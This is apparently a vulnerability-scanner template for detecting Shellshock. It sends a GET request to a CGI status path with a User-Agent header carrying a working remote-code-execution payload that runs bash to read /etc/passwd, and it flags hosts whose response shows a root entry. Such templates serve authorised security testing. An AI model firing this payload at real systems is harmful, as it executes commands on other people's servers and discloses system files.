id: rce-user-agent-shell-shock info: name: Remote Code Execution Via (User-Agent) author: 0xelkomy severity: high tags: shellshock,rce requests: - method: GET headers: User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" path: - "{{BaseURL}}/cgi-bin/status" matchers: - type: regex regex: - "root:.*:0:0" part: body